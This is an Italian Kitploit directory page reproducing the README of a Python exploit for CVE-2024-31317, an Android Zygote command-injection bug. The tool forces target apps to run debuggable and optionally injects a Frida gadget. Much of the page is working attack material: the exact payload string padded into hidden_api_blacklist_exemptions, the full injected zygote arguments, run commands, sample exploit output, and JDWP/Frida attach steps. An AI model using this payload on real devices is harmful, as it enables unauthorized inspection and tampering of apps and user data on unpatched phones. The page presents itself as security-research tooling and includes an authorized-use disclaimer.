Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit di App Debuggabile | Kitploit
Strumenti/GitHubGitHub/cleov2/debuggable-app-exploit
Sicurezza AndroidAnalisi delle VulnerabilitàExploitFuzzingSicurezza MobileApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit di App Debuggabile

Vedi Repository
1235 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-31317 Exploit di App Debuggabile

Un exploit basato su Python per CVE-2024-31317 (Iniezione Zygote Android) che rende qualsiasi app Android installata debuggabile iniettando argomenti zygote malevoli tramite l'impostazione hidden_api_blacklist_exemptions. Include iniezione opzionale del gadget Frida per hooking runtime.

Panoramica

Questo exploit sfrutta una vulnerabilità di command injection nel processo Zygote di Android per avviare le applicazioni target con il flag debuggable abilitato. Ciò consente il debug JDWP e l'ispezione di qualsiasi app senza bisogno di accesso root o della versione debug dell'app.

Basato sulla ricerca di: Analisi di Flanker su CVE-2024-31317

Intuizione chiave: "il campo runtime-flags in ZygoteArguments può effettivamente essere utilizzato per abilitare l'attributo debuggable di un'applicazione."

Caratteristiche

  • Modalità di rilevamento automatico - Rileva automaticamente UID, instruction set e directory dati dell'app target
  • Iniezione del flag debuggable - Imposta runtime-flags=65535 per abilitare il debug
  • Inoltro JDWP - Imposta automaticamente l'inoltro delle porte JDWP dopo l'exploit
  • Iniezione del gadget Frida - Opzionalmente inietta Frida per hooking runtime via JDWP
  • Breakpoint intelligenti - Utilizza breakpoint affidabili che si attivano automaticamente senza interazione dell'utente
  • Installazione automatica dell'app di debug - Installa l'app helper se non presente

Requisiti

  • Dispositivo Android vulnerabile a CVE-2024-31317 (patch di sicurezza precedente a giugno 2024)
  • ADB installato e debug USB abilitato
  • Python 3.10+
  • Pacchetti richiesti: ppadb, jdwplib

Installazione

Posiziona i seguenti file nella stessa directory:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Script exploit principale
├── jdwplib.py                       # Libreria client JDWP
├── app-debug.apk                    # App helper debuggabile
├── frida-gadget-android-*.so        # Gadget Frida (opzionale)
├── frida-gadget.config.so           # Configurazione Frida (opzionale)
└── win32/adb.exe                    # Binario ADB per Windows

Utilizzo

Utilizzo base

root@kitploit:~
python CVE-2024-31317-Debuggable.py

Lo script ti chiederà di selezionare una modalità di rilevamento dei parametri:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Rilevamento automatico parametri
[2] Valori hardcoded

Modalità (1/2) [1]:

Cosa fa

  1. Fase 1: Estrazione startSeq

    • Avvia un'app helper debuggabile
    • Si connette tramite JDWP ed estrae il valore startSeq dai frame dello stack
    • Chiude l'app helper
  2. Fase 2: Iniezione degli argomenti Zygote

    • Costruisce argomenti zygote malevoli con runtime-flags=65535 (debuggable)
    • Inietta il payload nell'impostazione hidden_api_blacklist_exemptions
    • Forza l'arresto e riavvia l'app target con argomenti iniettati
  3. Fase 3: Post-sfruttamento

    • Imposta l'inoltro delle porte JDWP
    • Opzionalmente inietta il gadget Frida per hooking runtime

Esempio di output

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Rilevamento automatico parametri
[2] Valori hardcoded

Modalità (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

Configurazione

App target

Modifica le costanti in cima allo script:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Modifica con il pacchetto target
DEBUG_APP = "com.debug.app"            # App helper debuggabile
DEBUG_APK = "app-debug.apk"            # File APK per l'app helper

Rilevamento automatico vs Valori hardcoded

Modalità di rilevamento automatico (consigliata):

  • Utilizza pm list packages -U per ottenere UID
  • Utilizza dumpsys package per ottenere instruction set e directory dati
  • Più affidabile su dispositivi diversi

Modalità hardcoded:

  • Utilizza valori predefiniti (UID=10242, arm64, ecc.)
  • Più veloce ma meno affidabile se il dispositivo differisce dai valori predefiniti

Iniezione del gadget Frida

Dopo che l'exploit ha successo, puoi opzionalmente iniettare il gadget Frida:

root@kitploit:~
Inject Frida? (y/N): y

Lo script farà:

  1. Inviare frida-gadget.so a /data/local/tmp/
  2. Copiarlo nella directory dati dell'app tramite run-as
  3. Impostare un breakpoint e caricare il gadget via JDWP
  4. Inoltrare le porte 27042 e 27043

Breakpoint target

Lo script prova questi breakpoint in ordine di affidabilità:

I breakpoint principali dovrebbero attivarsi automaticamente. Se scade il timeout, tocca l'app per attivare i breakpoint di riserva.

Connessione a Frida

Dopo un'iniezione riuscita:

root@kitploit:~
# Connettiti al gadget
frida -H 127.0.0.1:27042 -n Gadget

# Elenca i processi
frida-ps -H 127.0.0.1:27042

Dopo lo sfruttamento

Una volta che l'exploit ha successo, l'app target è in esecuzione con debug abilitato:

  1. Connettiti con il debugger JDWP:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Usa il debugger di Android Studio - Collega al processo sulla porta inoltrata

  3. Usa Frida - Se il gadget è stato iniettato tramite lo script

Come funziona

Panoramica della vulnerabilità

CVE-2024-31317 è una vulnerabilità di command injection nel processo Zygote di Android. Manipolando l'impostazione di sistema hidden_api_blacklist_exemptions con input appositamente predisposti, possiamo iniettare argomenti zygote arbitrari all'avvio di un'app.

Componenti chiave

  1. Estrazione startSeq: Ogni avvio di app ha un numero di sequenza unico. Lo estraiamo da un'app debuggabile tramite JDWP ispezionando le variabili dei frame dello stack.

  2. Costruzione del payload: Costruiamo argomenti zygote includendo:

    root@kitploit:~
    --runtime-args
    --setuid=<uid_target>
    --setgid=<gid_target>
    --runtime-flags=65535      # Abilita tutti i flag di debug
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<pacchetto>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<dir_dati>
    --package-name=<pacchetto>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Iniezione: Il payload è iniettato nell'impostazione di sistema con padding specifico per Android 12+:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Attivazione: Forza l'arresto e riavvia l'app target, che si avvia con i nostri argomenti iniettati e il flag debuggable abilitato.

Iniezione Frida tramite JDWP

L'iniezione Frida funziona:

  1. Connettendosi all'app debuggabile via JDWP
  2. Impostando un breakpoint su un metodo comunemente chiamato
  3. Quando il breakpoint si attiva, utilizzando Runtime.load() per caricare la libreria condivisa del gadget Frida
  4. Il gadget si inizializza e inizia ad ascoltare sulla porta 27042

Limitazioni

  • Funziona solo su dispositivi vulnerabili a CVE-2024-31317 (patch di sicurezza precedente a giugno 2024)
  • Non è un exploit root - fornisce solo accesso debuggabile all'app target
  • L'iniezione Frida richiede che l'app sia in esecuzione e che i breakpoint vengano attivati
  • Alcune app pesantemente offuscate potrebbero resistere all'hooking Frida

Risoluzione dei problemi

"Failed to get startSeq"

  • Assicurati che l'app di debug sia firmata e installabile correttamente
  • Prova a eseguire di nuovo l'exploit

"No breakpoint hit" durante l'iniezione Frida

  • Tocca l'app per attivare i breakpoint di tocco/disegno
  • Assicurati che l'app sia in primo piano

Connessione Frida rifiutata

  • Verifica l'inoltro delle porte: adb forward --list
  • Esegui di nuovo l'inoltro: adb forward tcp:27042 tcp:27042

Crediti

  • Flanker (flanker017) - Ricerca originale e articolo dettagliato su CVE-2024-31317
  • typlo - Frammenti di codice per trovare startSeq tramite ispezione JDWP
  • Anonymous941 - Implementazione di riferimento del toolkit per l'iniezione Zygote
  • Meta X Red Team - Scoperta e divulgazione originale della vulnerabilità

Riferimenti

  • Analisi dettagliata di CVE-2024-31317 - Flanker
  • Avviso di sicurezza Meta
  • Articolo InfoSec
  • Toolkit di iniezione Zygote di Anonymous941
  • Documentazione Frida

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a scopi educativi e di ricerca di sicurezza autorizzata. Usalo solo su dispositivi di tua proprietà o per i quali hai esplicita autorizzazione scritta per testare. L'accesso non autorizzato a sistemi informatici è illegale e non etico. Gli autori non sono responsabili per qualsiasi uso improprio di questo strumento.

Licenza

Licenza MIT - Vedi file LICENSE per i dettagli.

Scarica lo strumento
ClasseMetodoAttivatore
android.os.MessageQueuenextAutomatico - il looper principale interroga costantemente
android.os.BinderexecTransactAutomatico - qualsiasi chiamata IPC/binder
android.app.ActivityThreadhandleMessageAutomatico - handler principale dell'app
android.os.HandlerdispatchMessageAutomatico - invio messaggi
android.os.HandlerhandleMessageAutomatico - gestione messaggi
android.view.ChoreographerdoFrameAutomatico - callback frame
android.view.ViewdispatchTouchEventManuale - richiede tocco
android.view.ViewonDrawManuale - richiede ridisegno UI